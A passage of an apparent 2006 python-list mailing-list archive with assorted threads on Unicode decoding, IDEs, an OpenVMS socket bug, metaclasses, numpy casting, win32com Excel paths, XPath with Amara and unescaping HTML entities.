>     """Set the string encoding used by the Unicode implementation.  The
>     default is 'ascii', but if you're willing to experiment, you can
>     change this."""
>     encoding = "utf-8" # Default value set by _PyUnicode_Init()
>     if 0:
>         # Enable to support locale aware default string encodings.
>         import locale
>         loc = locale.getdefaultlocale()
>         if loc[1]:
>             encoding = loc[1]
>     if 0:
>         # Enable to switch off string to Unicode coercion and implicit
>         # Unicode to string conversion.
>         encoding = "undefined"
>     if encoding != "ascii":
>         # On Non-Unicode builds this will raise an AttributeError...
>         sys.setdefaultencoding(encoding) # Needs Python Unicode build !
> 
> Now when I try to validate the data in the text file
> say abc.txt (saved as with utf-8 encoding) containing either english or
> russian text,
> 
> some junk character (box like) is added as the first character
> what must be the reason for this?
> and how do I handle it?

You shouldn't tamper with the site-wide encoding, as this will mask 
errors you made in the best case, let alone not producing new ones.

And what do you think it would help you anyway? Pythons unicode support 
would be stupid to say the least if it required the installation changed 
before dealing with files of different encodings - don't you think?

As you don't show us the code you actually use to read that file, I'm 
down to guessing here, but if you just open it as binary file with

content = open("test.txt").read()

there won't be any magic decoding happening.

What you need to do instead is this (if you happen to know that test.txt 
is encoded in utf-8):

content = open("test.txt").read().decode("utf-8")


Then you have a unicode object. Now if you need that to be written to a 
terminal (or wherever your "boxes" appear - guessing here too, no code, 
you remember?), you need to make sure that

  - you know the terminals encoding

  - you properly endcode the unicode content to that encoding before 
printing, as otherwise the default-encoding will be used


So, in case your terminal uses utf-8, you do

print content.encode("utf-8")


Diez


From bernard.chhun at gmail.com  Fri Oct 13 10:37:07 2006
From: bernard.chhun at gmail.com (Bernard)
Date: 13 Oct 2006 07:37:07 -0700
Subject: Best IDE?
In-Reply-To: <1160749749.140484.97990@f16g2000cwb.googlegroups.com>
References: <1160749749.140484.97990@f16g2000cwb.googlegroups.com>
Message-ID: <1160750227.507474.134240@b28g2000cwb.googlegroups.com>

IDE : SPE (Stani's python editor) : http://stani.be/python/spe/blog/
Why?: because this IDE is not complicated. it ships with a debugger, a
gui designer, a source code checker and a regex console.
Like: obviously everything
Hate: sometimes it doesn't start on windows 2000
Platform: Windows, Linux, Mac
cost: free but I'll donate some money because I like it

Ahmer wrote:
> What do you guys use?
> Why?
> What do you like and hate about it?
> What platform(s) is it avalable on?
> How much does it cost?
> etc.



From jf.pieronne at laposte.net  Tue Oct 24 05:34:12 2006
From: jf.pieronne at laposte.net (=?ISO-8859-15?Q?Jean-Fran=E7ois_Pi=E9ronne?=)
Date: Tue, 24 Oct 2006 11:34:12 +0200
Subject: Socket module bug on OpenVMS
In-Reply-To: <453d508b$0$334$e4fe514c@news.xs4all.nl>
References: <453ba3a8$0$322$e4fe514c@news.xs4all.nl>
	<453D472E.2080606@v.loewis.de>
	<453d508b$0$334$e4fe514c@news.xs4all.nl>
Message-ID: <453dde1e$0$23062$426a34cc@news.free.fr>

Irmen de Jong wrote:
> Martin v. L?wis wrote:
[snip]
>> Perhaps you had some different work-around in mind?
> 
> Nope, I was indeed thinking about splitting up the recv() into
> smaller blocks internally.
> Maybe a more elaborate check in Python's build system (to remove
> the MSG_WAITALL on VMS) would qualify as some sort of work-around
> as well. Although that would not yet solve the errors you get when
> using too big recv() buffer sizes.
> 

I have contact some guys from HP, unofficial reply is if it's not
documented it's not supported... Why it's defined in socket.h may be
because the TCP/IP stack from HP on OpenVMS is a port of the Tru64 Unix
stack and the flag was present in Tru64.
We will also investigate if the behaviour on OpenVMS when you use
MSG_WAITALL is broken or not.

So I will, in a forthcoming kit don't export this symbol under OpenVMS
(if it's not documented it's not supported).
I have also take a look at the problem of using big recv() buffer and
found a bug when the buffer size is > 32767, only the first 32767 bytes
are read, this will be also fixed in the next kit (only Python 2.5).

I expect to have a new kit which include all these fixes be available
before the end of the week.


JF


From fakeaddress at nowhere.org  Tue Oct 24 01:49:06 2006
From: fakeaddress at nowhere.org (Bryan Olson)
Date: Tue, 24 Oct 2006 05:49:06 GMT
Subject: multythreading app memory consumption
In-Reply-To: <mailman.1007.1161633871.11739.python-list@python.org>
References: <453BFF50.5000402@inbox.ru>
	<mailman.1007.1161633871.11739.python-list@python.org>
Message-ID: <mPh%g.2594$T_1.669@newssvr14.news.prodigy.com>

Gabriel Genellina wrote:
> At Sunday 22/10/2006 20:31, Roman Petrichev wrote:
> 
>> I've just faced with very nasty memory consumption problem.
>> I have a multythreaded app with 150 threads which use the only and the
>> same function - through urllib2 it just gets the web page's html code
>> and assigns it to local variable. On the next turn the variable is
> 
> Consider using asyncore or the Twisted framework instead of threads.

But those won't play nice with urllib2.


-- 
--Bryan


From bignose+hates-spam at benfinney.id.au  Wed Oct  4 19:05:23 2006
From: bignose+hates-spam at benfinney.id.au (Ben Finney)
Date: Thu, 05 Oct 2006 09:05:23 +1000
Subject: Python to use a non open source bug tracker?
References: <22pUg.132825$zy5.1820633@twister1.libero.it>
	<mailman.1146.1159866456.10491.python-list@python.org>
	<gzJUg.134225$zy5.1829430@twister1.libero.it>
	<452410E9.9040403@v.loewis.de>
	<TnVUg.135451$zy5.1833460@twister1.libero.it>
	<1159997348.228622.246410@h48g2000cwc.googlegroups.com>
Message-ID: <87hcyjel70.fsf@benfinney.id.au>

"David Goodger" <dgoodger at gmail.com> writes:

> Look at the results again. Jira and RoundUp tied for functionality,
> but Jira has a hosting/admin offer behind it. That's huge. But
> rather than declaring Jira the outright winner, which they could
> have done, the committee has allowed the community to decide the
> matter. If enough admins come forward, RoundUp will win.
>
> I read that as a big push for "written in Python".

I prefer to read it as a big push for "not dependent on non-free
tools".

-- 
 \        "To me, boxing is like a ballet, except there's no music, no |
  `\    choreography, and the dancers hit each other."  -- Jack Handey |
_o__)                                                                  |
Ben Finney



From 3dbernard at gmail.com  Thu Oct 19 22:19:32 2006
From: 3dbernard at gmail.com (Bernard Lebel)
Date: Thu, 19 Oct 2006 22:19:32 -0400
Subject: Restricting import file lookup for pyd, dll, ...
In-Reply-To: <7.0.1.0.0.20061019224508.04d95958@yahoo.com.ar>
References: <61d0e2b40610191438w9ba0693y8896bebc3441069a@mail.gmail.com>
	<7.0.1.0.0.20061019184812.05aafe78@yahoo.com.ar>
	<61d0e2b40610191838m52cffdf1qd2168f6462728660@mail.gmail.com>
	<7.0.1.0.0.20061019224508.04d95958@yahoo.com.ar>
Message-ID: <61d0e2b40610191919j571fde44nf742057486b30daf@mail.gmail.com>

I'm affraid this step has already been done. I was not being pedantic
when I said "locations that don't make sense", I *really* meant it.
You would have to see the Filemon log!

Anyway, then is there a way to tell Python not to look for pyd/dll and
others in certain locations? In locations were you expect not to have
such files for example?


Thanks
Bernard




On 10/19/06, Gabriel Genellina <gagsl-py at yahoo.com.ar> wrote:
> At Thursday 19/10/2006 22:38, Bernard Lebel wrote:
>
> >That's because I'm using Python through another application, via the
> >pywin32 extensions. When that other application starts, it performs
> >several thousands of file requests (we're talking 4,500, roughly) in
> >the Python installation, locations where there are Python files, and
> >in some other locations that don't make sense. This adds considerable
> >time to the startup time of the application, we're talking between 2
> >and 9 seconds.
> >
> >This a problem with the application, not Python. But I'm looking for
> >ways to minimize this overhead so the users of this application waste
> >less time waiting after the startup.
>
> Try to shorten the PYTHONPATH to the really required directories
> (deleting those locations "that don't make sense").
>
>
> --
> Gabriel Genellina
> Softlab SRL
>
> __________________________________________________
> Correo Yahoo!
> Espacio para todos tus mensajes, antivirus y antispam ?gratis!
> ?Abr? tu cuenta ya! - http://correo.yahoo.com.ar
>
>


From letezo at fw.hu  Sat Oct 28 19:47:39 2006
From: letezo at fw.hu (=?iso-8859-2?B?TOl0ZXr1?=)
Date: Sun, 29 Oct 2006 01:47:39 +0200
Subject: Metaclasses are not called in subclasses. What did I wrong?
Message-ID: <002501c6faeb$8a22c1b0$8600a8c0@ANNA>

I use Python 2.4.4. Please read the code below:

-----------------------------------------------------------
from new import classobj

def mymeta(name,bases,clsdict):
    print 'meta: %s'%name
    return classobj(name,bases,clsdict)

class A(object):
    __metaclass__=mymeta

class B(A):
    pass

-----------------------------------------------------------

This should print

meta: A
meta: B

when classes A and B are created. But only meta: B is missing,
since mymeta() is not called when class B is created.

Related python documentation states that mymeta() must be called when B is
created, since metaclasses are looked up in bases classes if not found in
the dictionary of the class itself.

>From Python 2.4.4's manual: "Otherwise, if there is at least one base class,
its metaclass is used (this looks for a __class__ attribute first and if not
found, uses its type)."

Thanks for your help.

Viktor 



From utabintarbo at gmail.com  Wed Oct  4 10:51:14 2006
From: utabintarbo at gmail.com (utabintarbo)
Date: 4 Oct 2006 07:51:14 -0700
Subject: can't open chm files all of a sudden
In-Reply-To: <45233927$0$1761$c3e8da3@news.astraweb.com>
References: <45233927$0$1761$c3e8da3@news.astraweb.com>
Message-ID: <1159973474.575295.252220@m7g2000cwm.googlegroups.com>


John Salerno wrote:
> Hi all. I apologize since this is only remotely Python related, but I
> hope someone might now the solution.
>
> I tried opening my Python chm docs just now, as well as the one for
> wxPython, and both are giving me an error dialog when I double-click
> them and I can't open them. This happened apparently for no reason, just
> today. I even reset but that didn't help.
>
> Does anyone know what might cause this, and if it could affect the rest
> of Python or wxPython as well?

Are these files on a network share?

>From http://support.microsoft.com/kb/892675/en-us :
"This problem occurs because security update 896358 and 890175 prevent
HTML content that is outside the Local Machine zone from creating an
instance of the HTML Help ActiveX control (HHCTRL). This change was
introduced to reduce security vulnerabilities in HTML Help."

HTH



From msherman77 at yahoo.com  Sun Oct 29 15:40:58 2006
From: msherman77 at yahoo.com (Michael S)
Date: Sun, 29 Oct 2006 15:40:58 -0500 (EST)
Subject: looping through two list simultenously
In-Reply-To: <1162153701.052043.160030@h48g2000cwc.googlegroups.com>
Message-ID: <20061029204059.50064.qmail@web88309.mail.re4.yahoo.com>

What if you do it in 2 separate threads?

--- CSUIDL PROGRAMMEr <syedamjad_a at yahoo.com> wrote:

> folks
> I have two lists
> 
>  i am trying to loop thorough them simultenously.
> 
> Here is the code i am using
> 
> f1 = os.popen('ls  chatlog*.out')
> data1=f1.readlines()
> f1.close()
> 
> data1=[x.strip() for x in data1]
> f1 = os.popen('ls  chatlog*.txt')
> data=f1.readlines()
> f1.close()
> for eachline in data1 and line in data:
> 
>     filename='/root/Desktop/project/'+ eachline
>     print filename
>     outfile=open(filename,'r')
>     filename1='/root/Desktop/project/' + line
>     print filename1
> 
> I get the error that line is not defined.
> Traceback (most recent call last):
>   File "list.py", line 16, in ?
>     for eachline in data1 and line in data:
> NameError: name 'line' is not defined
> 
> Is there any efficient doing this
> 
> -- 
> http://mail.python.org/mailman/listinfo/python-list
> 



From johnnylee194 at gmail.com  Thu Oct 19 23:08:38 2006
From: johnnylee194 at gmail.com (Johnny)
Date: 19 Oct 2006 20:08:38 -0700
Subject: Default location while open an Excel file
Message-ID: <1161313718.200425.130220@i3g2000cwc.googlegroups.com>

Hi,
   As you know, I can use this to open an Excel file:
"""
import win32com.client

doc = win32com.client.Dispatch("Excel.Application")
doc.Workbooks.Open(excelFile, ReadOnly=True)
"""

   But the problem is when I only pass the filename to the Open()
method, and of course the file is in the current directory, it will
throw an exception that the specified file can't be found. When I use
os.path.abspath(excelFile) instead, it works. But I do know that
somebody can only pass a filename, and no exception is raised. Now I
wonder is that because the "somebody" happen to put the file on the
default location of the Open() method? If so, does any one know the
default location?

   Thanks for your consideration.

Regards, 
Johnny



From jstroud at mbi.ucla.edu  Thu Oct  5 19:02:28 2006
From: jstroud at mbi.ucla.edu (James Stroud)
Date: Thu, 05 Oct 2006 23:02:28 GMT
Subject: Graph Theory
In-Reply-To: <1160078200.790616.209000@i42g2000cwa.googlegroups.com>
References: <1160078200.790616.209000@i42g2000cwa.googlegroups.com>
Message-ID: <8agVg.10235$e66.9444@newssvr13.news.prodigy.com>

diffuser78 at gmail.com wrote:
> Is there any library in Python which has implementation of graph
> theoretic algorithms and models ?
> 

I don't know much about graph theory, but a coworker who does a lot of 
it mentioned something about boost:

         http://www.boost.org/libs/graph/doc/python.html


James

-- 
James Stroud
UCLA-DOE Institute for Genomics and Proteomics
Box 951570
Los Angeles, CA 90095

http://www.jamesstroud.com/


From grflanagan at yahoo.co.uk  Sun Oct 29 14:45:17 2006
From: grflanagan at yahoo.co.uk (Gerard Flanagan)
Date: 29 Oct 2006 11:45:17 -0800
Subject: logo design - BZZZT! OT!
In-Reply-To: <Xns986B884C89615castleamber@130.133.1.4>
References: <1162103065.460796.303660@f16g2000cwb.googlegroups.com>
	<hU61h.25265$GR2.15753@tornado.texas.rr.com>
	<Xns986B884C89615castleamber@130.133.1.4>
Message-ID: <1162151117.887222.267030@f16g2000cwb.googlegroups.com>


John Bokma wrote:
> Xah Lee is a well-known spammer, almost all his messages contain at least
> one link to his site in the body.
>
> Somehow this time he limited his post to 3 groups instead of the usual 5.
> Maybe talking with the right people does work. It did with Dreamhost. And
> I am sure his current hosting provider is listening ;-)
> 

 Charybdis...



From dannycolligan at gmail.com  Tue Oct 31 14:36:09 2006
From: dannycolligan at gmail.com (Danny Colligan)
Date: 31 Oct 2006 11:36:09 -0800
Subject: Why can't you assign to a list in a loop without enumerate?
In-Reply-To: <Xns986DC21D58AD2duncanbooth@127.0.0.1>
References: <1162320362.257426.121370@e3g2000cwe.googlegroups.com>
	<Xns986DC21D58AD2duncanbooth@127.0.0.1>
Message-ID: <1162323368.954163.144930@e64g2000cwd.googlegroups.com>

I see.  Thanks for the helpful response.

Danny

Duncan Booth wrote:
> "Danny Colligan" <dannycolligan at gmail.com> wrote:
>
> > In the following code snippet, I attempt to assign 10 to every index in
> > the list a and fail because when I try to assign number to 10, number
> > is a deep copy of the ith index (is this statement correct?).
>
> No. There is no copying involved.
>
> Before the assignment, number is a reference to the object to which the ith
> element of the list also refers. After the assignment you have rebound the
> variable 'number' so it refers to the value 10. You won't affect the list
> that way.
>
> > My question is, what was the motivation for returning a deep copy of
> > the value at the ith index inside a for loop instead of the value
> > itself?
>
> There is no copying going on. It returns the value itself, or at least a
> reference to it.
>
> >  Also, is there any way to assign to a list in a for loop (with
> > as little code as used above) without using enumerate?
>
> a[:] = [10]*len(a)
>
> or more usually something like:
>
> a = [ fn(v) for v in a ]
>
> for some suitable expression involving the value. N.B. This last form
> leaves the original list unchanged: if you really need to mutate it in
> place assign to a[:] as in the first example, but if you are changing all
> elements in the list then you usually want a new list.



From oliphant.travis at ieee.org  Thu Oct 26 19:25:42 2006
From: oliphant.travis at ieee.org (Travis Oliphant)
Date: Thu, 26 Oct 2006 17:25:42 -0600
Subject: numpy numbers converted wrong
In-Reply-To: <ehr4gn$24ur$1@ulysses.news.tiscali.de>
References: <ehr4gn$24ur$1@ulysses.news.tiscali.de>
Message-ID: <ehrg61$t91$1@sea.gmane.org>

robert wrote:
> in Gnuplot (Gnuplot.utils) the input array will be converted to a Numeric float array as shown below. When I insert a numpy array into Gnuplot like that below, numbers 7.44 are cast to 7.0 
> Why is this and what should I do ? Is this bug in numpy or in Numeric?
> 
> 
> [Dbg]>>> m         #numpy array
> array([[  9.78109200e+08,   7.44000000e+00],
>        [  9.78454800e+08,   7.44000000e+00],
>        [  9.78541200e+08,   8.19000000e+00],
>        ..., 
>        [  1.16162280e+09,   8.14600000e+01],
>        [  1.16170920e+09,   8.10500000e+01],
>        [  1.16179560e+09,   8.16800000e+01]])
>
  [Dbg]>>> Numeric.asarray(m, Numeric.Float32)[:10]
> array([[ 9.78109184e+008,  7.00000000e+000],
>        [ 9.78454784e+008,  7.00000000e+000],
>        [ 9.78541184e+008,  8.00000000e+000],
>        [ 9.78627584e+008,  8.00000000e+000],
>        [ 9.78713984e+008,  8.00000000e+000],
>        [ 9.78973184e+008,  8.00000000e+000],
>        [ 9.79059584e+008,  8.00000000e+000],
>        [ 9.79145984e+008,  8.00000000e+000],
>        [ 9.79232384e+008,  9.00000000e+000],
>        [ 9.79318784e+008,  8.00000000e+000]],'f')
> [Dbg]>>> Numeric.asarray(m, Numeric.Float)[:10]
> array([[ 9.78109200e+008,  7.00000000e+000],
>        [ 9.78454800e+008,  7.00000000e+000],
>        [ 9.78541200e+008,  8.00000000e+000],
>        [ 9.78627600e+008,  8.00000000e+000],
>        [ 9.78714000e+008,  8.00000000e+000],
>        [ 9.78973200e+008,  8.00000000e+000],
>        [ 9.79059600e+008,  8.00000000e+000],
>        [ 9.79146000e+008,  8.00000000e+000],
>        [ 9.79232400e+008,  9.00000000e+000],
>        [ 9.79318800e+008,  8.00000000e+000]])

This is odd but we need to know the version numbers of both packages to 
help further.   For one, I'm surprised that you can use Numeric.asarray 
to force cast to Numeric.Float32 without raising an error.

Also, you can ask on numpy-discussion at lists.sourceforge.net to reach an 
audience more directly able to help.

> [Dbg]>>> 
> 
> 
> and why and what is:
> 
> [Dbg]>>> m[0,1]
> 7.44
> [Dbg]>>> type(_)
> <type 'numpy.float64'>
> [Dbg]>>> 
> 
> 
> does this also slow down python math computations? 

No, not necessarily (depends on what you mean).

Python floats are still Python floats.  NumPy provides, in addition, an 
array scalar for every "kind" of data that a NumPy array can be composed 
of.  This avoids the problems with being unable to find an appropriate 
Python scalar for a given data-type.  Where possible, the NumPy scalar 
inherits from the Python one.

By default, the NumPy scalars have their own math defined which uses the 
error-mode setting capabilities of NumPy to handle errors.  Right now, 
these operations are a bit slower than Python's built-ins because of the 
way that "mixed" calculations are handled.

For, the data-types that over-lap with Python scalars you can set things 
up so that NumPy scalars use the Python math instead if you want.  But, 
again, NumPy does nothing to change the way that Python numbers are 
calculated.


> should one better stay away from numpy in current stage of numpy development?

No, definitely not. Don't stay away.  NumPy 1.0 is out.



From steve at holdenweb.com  Tue Oct 31 05:01:28 2006
From: steve at holdenweb.com (Steve Holden)
Date: Tue, 31 Oct 2006 10:01:28 +0000
Subject: create global variables?
In-Reply-To: <45471B66.9060702@helsinki.fi>
References: <1162275890.4546ec32cd351@www2.helsinki.fi>	<ei732n$2hg$1@sea.gmane.org>
	<45471B66.9060702@helsinki.fi>
Message-ID: <ei76rh$f4p$1@sea.gmane.org>

Alistair King wrote:
> Steve Holden wrote:
> 
>>aking at mappi.helsinki.fi wrote:
>>  
>>
>>>J. Clifford Dyer wrote:
>>>
>>>    
>>>
>>>>Alistair King wrote:
>>>>      
>>
>>[... advice and help ...]
>>
>>  
>>
>>>this worked a treat:
>>>
>>>def monoVarcalc(atom):
>>>
>>>   a = atom + 'aa'
>>>   Xaa = a.strip('\'')
>>>   m = atom + 'ma'
>>>   Xma = m.strip('\'')
>>>   Xaa = DS1v.get(atom)
>>>   Xma = pt.get(atom)
>>>   return Xaa, Xma
>>>
>>>
>>>Caa, Cma = monoVarcalc('C')
>>>
>>>    
>>
>>In which case I suspect you will find that this works just as well:
>>
>>def monoVarcalc(atom):
>>
>>    Xaa = DS1v.get(atom)
>>    Xma = pt.get(atom)
>>    return Xaa, Xma
>>
>>
>>Unless there is something decidedly odd about the side-effects of the 
>>statements I've removed, since you never appear to use the values of a, 
>>m, Xaa and Xma there seems little point in calculation them.
>>
>>regards
>>  Steve
>>  
> 
> Yup...it works..but now i have to create a dictionary of 'a' and 'm',
> ie... "Xaa" and "Xma" string, key:value pairs so i can use other
> functions on the Xaa, Xma variables by iterating over them and
> retrieving the values from the variables. I think if i just input Xaa
> and Xma, only the values associated with those variables will go into
> the dictionary and ill just be iterating over nonsence.....
> 
> atomsmasses = {}
> 
> def monoVarcalc(atom):
> a = atom + 'aa'
> m = atom + 'ma'
> atomsmasses[a]=m
> Xaa = a.strip('\'')
> Xma = m.strip('\'')
> Xma = pt.get(atom)
> if DS1v.get(atom) != None:
> Xaa = DS1v.get(atom)
> else:
> Xaa = 0
> return Xaa, Xma
> 
> Caa, Cma = monoVarcalc('C')
> Oaa, Oma = monoVarcalc('O')
> Haa, Hma = monoVarcalc('H')
> Naa, Nma = monoVarcalc('N')
> Saa, Sma = monoVarcalc('S')
> Claa, Clma = monoVarcalc('Cl')
> Braa, Brma = monoVarcalc('Br')
> Znaa, Znma = monoVarcalc('Zn')
> 
> 
> 
> i think? :)
> thanks
> 
> a
> 
No fair: you only just added atomsmasses! ;-)

However, it seems to me that your atomsmasses dictionary is going to be 
entirely predictable, and you are still focusing on storing the *names* 
of things rather than building up a usable data structure. Indeed I 
suspect that your problem can be solved using only the names of the 
elements, and not the names of the variables that hold various 
attributes of the elements.

Perhaps if you explain in plain English what you *really* want to do we 
can help you find a more Pythonic solution. It'll probably end up 
something like this:

mass = {}
for element in ['C', 'O', ..., 'Zn']
     mass[element] = monoVarcalc(element)

But I could, of course, be completely wrong ... it wouldn't be the first 
time. Do you understand what I'm saying?

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From bignose+hates-spam at benfinney.id.au  Wed Oct 25 23:00:38 2006
From: bignose+hates-spam at benfinney.id.au (Ben Finney)
Date: Thu, 26 Oct 2006 13:00:38 +1000
Subject: question about True values
References: <ehp32i$u1$1@sea.gmane.org>
	<7.0.1.0.0.20061025224858.05f2ea40@yahoo.com.ar>
	<ehp64d$8c3$1@sea.gmane.org>
	<mailman.1234.1161829866.11739.python-list@python.org>
	<7xejsv3if5.fsf@ruckus.brouhaha.com>
Message-ID: <87d58fkch5.fsf@benfinney.id.au>

Paul Rubin <"http://phr.cx"@NOSPAM.invalid> writes:

> Max Erickson <maxerickson at gmail.com> writes:
> > > [Steve:] There's still a very obvious omission ...
> > 
> > bool.
> > 
> > unicode and long if you are fussy.
>
> There's another.  Imagine a datatype for Discordian religious
> leaders and consider what a genderless one would be called.

Hah! Not as obvious as the omission of 'bool', but:

     NoneType       None

-- 
 \       "A man's only as old as the woman he feels."  -- Groucho Marx |
  `\                                                                   |
_o__)                                                                  |
Ben Finney



From skip at pobox.com  Fri Oct 13 13:04:56 2006
From: skip at pobox.com (skip at pobox.com)
Date: Fri, 13 Oct 2006 12:04:56 -0500
Subject: IDE that uses an external editor?
Message-ID: <17711.51000.610108.986578@montanaro.dyndns.org>


One thing that's kept me from even looking at IDEs is that to the best of my
knowledge none of them will integrate properly with external editors like
Emacs or vi.  I know lots of tools support "Emacs-like keybindings", but
believe me, I've never found one that does a decent job of that.  There is
just so much more to powerful editors like Emacs or vi than a handful of
cursor movement commands.  Once a person is proficient they generally won't
accept substitutes.

So, please prove me wrong.  Are there any IDEs that will actually work with
an external instance of Emacs (either by firing it up or by using a remote
connection program like gnuclient)?

Thx,

Skip


From johnjsal at NOSPAMgmail.com  Thu Oct 26 13:57:32 2006
From: johnjsal at NOSPAMgmail.com (John Salerno)
Date: Thu, 26 Oct 2006 17:57:32 GMT
Subject: What's the best IDE?
In-Reply-To: <fT40h.7805$5i7.6796@newsreading01.news.tds.net>
References: <1161818092.830293.141880@k70g2000cwa.googlegroups.com>
	<453ff3a7$0$23866$426a74cc@news.free.fr>
	<fXS%g.7781$5i7.4028@newsreading01.news.tds.net>
	<n_S%g.7782$5i7.4615@newsreading01.news.tds.net>
	<1161822032.211125.272160@h48g2000cwc.googlegroups.com>
	<mailman.1228.1161824335.11739.python-list@python.org>
	<454004a9$0$19602$88260bb3@free.teranews.com>
	<1161828498.791044.144040@f16g2000cwb.googlegroups.com>
	<7g40h.165$1n3.4282@news.tufts.edu>
	<fT40h.7805$5i7.6796@newsreading01.news.tds.net>
Message-ID: <gG60h.166$1n3.3806@news.tufts.edu>

Neil Cerutti wrote:
> On 2006-10-26, John Salerno <johnjsal at NOSPAMgmail.com> wrote:
>> Hakusa at gmail.com wrote:
>>> as I have yet to try Vim - maybe I'll try tomarrow.
>> Warning: Vim isn't something you just "try tomorrow"  :)
> 
> You can become proficient enough for basic editing in about 20
> minutes with the built-in tutorial.
> 
> Getting it to work seemlessly with Python code will take
> considerably longer.
> 

Yeah, it was all the customizing that I could never figure out.


From franz.steinhaeusler at gmx.at  Thu Oct  5 04:06:44 2006
From: franz.steinhaeusler at gmx.at (Franz Steinhaeusler)
Date: Thu, 5 Oct 2006 10:06:44 +0200 (CEST)
Subject: Applications written in TkInter
Message-ID: <eg2eek$njp$1@newsreader2.utanet.at>

Hi,

I wonder, if there is a site with a collection
of written TkInter programs.

I did not find any summary.

for pyGtk there exist for example:

http://www.pygtk.org/applications.html

and for wxPython:

http://wiki.wxpython.org/index.cgi/wxPythonPit_Apps

-- 
Franz Steinhaeusler



From robert.kern at gmail.com  Fri Oct  6 14:07:16 2006
From: robert.kern at gmail.com (Robert Kern)
Date: Fri, 06 Oct 2006 11:07:16 -0700
Subject: Need array help
In-Reply-To: <5e-dnRqTsKLmBLvYnZ2dnUVZ_tOdnZ2d@comcast.com>
References: <EkwVg.362$P92.105@trndny02>
	<5e-dnRqTsKLmBLvYnZ2dnUVZ_tOdnZ2d@comcast.com>
Message-ID: <eg660j$f69$1@sea.gmane.org>

Larry Bates wrote:

> If you want to
> do vector math or matrix-type calculations look at the
> array module.

The array module in the standard library does not provide such capabilities. If 
you need them, look at numpy.

   http://numpy.scipy.org

-- 
Robert Kern

"I have come to believe that the whole world is an enigma, a harmless enigma
  that is made terrible by our own mad attempt to interpret it as though it had
  an underlying truth."
   -- Umberto Eco



From uche.ogbuji at gmail.com  Fri Oct  6 14:38:32 2006
From: uche.ogbuji at gmail.com (uche.ogbuji at gmail.com)
Date: 6 Oct 2006 11:38:32 -0700
Subject: Trying to find a elements Xpath and store it as a attribute
In-Reply-To: <1159752753.215621.163680@e3g2000cwe.googlegroups.com>
References: <1159752753.215621.163680@e3g2000cwe.googlegroups.com>
Message-ID: <1160159912.403604.129320@m73g2000cwd.googlegroups.com>

provowallis wrote:
> Hi all,
>
> I've been struggling with this for a while so I'm hoping that someone
> could point me in the right direction. Here's my problem: I'm trying to
> get the XPath for a given node in my document and then store that XPath
> as an attribute of the element itself. If anyone has a recommendation
> I'd be happy to hear it.


Sorry.  I only check c.l.py once a week or so...

> For instance, I would take this XML
>
> ###before
>
> <?xml version="1.0"?>
> <hello-world>
> <greeter>An XSLT Programmer</greeter>
> <greeting>Hello, World!</greeting>
> </hello-world>
>
> ###after
>
> <?xml version="1.0"?>
> <hello-world>
> <greeter xp="hello-word[1]/greeter[1]">An XSLT Programmer</greeter>
> <greeting xp="hello-world[1]/greeting[1]">Hello, World!</greeting>
> </hello-world>
>
> ###
>
> import sets
> import amara
> from amara import binderytools
>
> doc = amara.parse('hello.xml')
> elems = {}
>
> for e in doc.xml_xpath('//*'):
>
>      paths = elems.setdefault((e.namespaceURI, e.localName),
> sets.Set())
>      path = u'/'.join([n.nodeName for n in
> e.xml_xpath(u'ancestor::*')])
>      paths.add(u'/' + path)
>
> for name in elems:
>
>      doc.name.km = elems[name]

It's a tougher problem than you may think :-)

Luckily it's a problem I've worked on.  For discussion see:

http://www.xml.com/pub/a/2004/11/24/py-xml.html

For an updated solution see abs_path in Amara domtools.  In most cases
you can safely call that on an Amara bindery node.


--
Uche Ogbuji                               Fourthought, Inc.
http://uche.ogbuji.net                    http://fourthought.com
http://copia.ogbuji.net                   http://4Suite.org
Articles: http://uche.ogbuji.net/tech/publications/



From rvernica at gmail.com  Tue Oct 31 23:46:02 2006
From: rvernica at gmail.com (Rares Vernica)
Date: Tue, 31 Oct 2006 20:46:02 -0800
Subject: unescape HTML entities
In-Reply-To: <ei0inl$et9$1@minji.szn.dk>
References: <mailman.1412.1162068610.11739.python-list@python.org>
	<ei0inl$et9$1@minji.szn.dk>
Message-ID: <ei98qa$bug$1@sea.gmane.org>

Hi,

How does your code deal with &#039; like entities?

Thanks,
Ray

Klaus Alexander Seistrup wrote:
> Rares Vernica wrote:
> 
>> How can I unescape HTML entities like "&nbsp;"?
>>
>> I know about xml.sax.saxutils.unescape() but it only deals with
>> "&amp;", "&lt;", and "&gt;".
>>
>> Also, I know about htmlentitydefs.entitydefs, but not only this 
>> dictionary is the opposite of what I need, it does not have 
>> "&nbsp;".
> 
> How about something like:
> 
> #v+
> #!/usr/bin/env/python
> '''dehtml.py'''
> 
> import re
> import htmlentitydef
> 
> myrx = re.compile('&(' + '|'.join(htmlentitydefs.name2codepoint.keys()) + ');')
> 
> def dehtml(s):
>     return re.sub(
>         myrx,
>         lambda m: unichr(htmlentitydefs.name2codepoint[m.group(1)]),
>         s
>     )
> # end def dehtml
> 
> if __name__ == '__main__':
>     import sys
>     print dehtml(sys.stdin.read()).encode('utf-8')
> # end if
> 
> #v-
> 
> E.g.:
> 
> #v+
> 
> $ echo 'fr&aelig;kke fr&oslash;l&aring;r' | ./dehtml.py
> fr?kke fr?l?r
> $ 
> 
> #v-
> 



From fulvio at pc.jaring.my  Thu Oct 12 02:50:56 2006
From: fulvio at pc.jaring.my (Fulvio)
Date: Thu, 12 Oct 2006 14:50:56 +0800
Subject: error handling
In-Reply-To: <7.0.1.0.0.20061011174528.04116678@yahoo.com.ar>
References: <mailman.325.1160583556.11739.python-list@python.org>
	<1160594180.913653.268200@m7g2000cwm.googlegroups.com>
	<7.0.1.0.0.20061011174528.04116678@yahoo.com.ar>
Message-ID: <200610121450.56983.fulvio@pc.jaring.my>

On Thursday 12 October 2006 04:47, Gabriel Genellina wrote:
> |Why not refer to the *current* documentation?

Gabriel,

Thank you, some time I (we) forget to look at the most obvious place ;)
Meanwhile yesterday I found some useful info on the web, which an *except* 
statement needs a string object or class for a named exception.
Now I got the meaning and " sys.exc_info()[0]" Bernard's idea is useful to 
fish out more clues.

F



From bogus@does.not.exist.com  Sat Oct  7 01:27:41 2006
From: bogus@does.not.exist.com (goyatlah)
Date: Sat, 07 Oct 2006 07:27:41 +0200
Subject: problem with split
References: <1160194063.352905.106210@e3g2000cwe.googlegroups.com>
Message-ID: <03eei21fpk5d6s75hb6fnaeruk0o7ob18k@4ax.com>

Think you need a regex like this: regex =
r"\s*instr\s+([0-9]+)\s*(;.*)?"

Then:
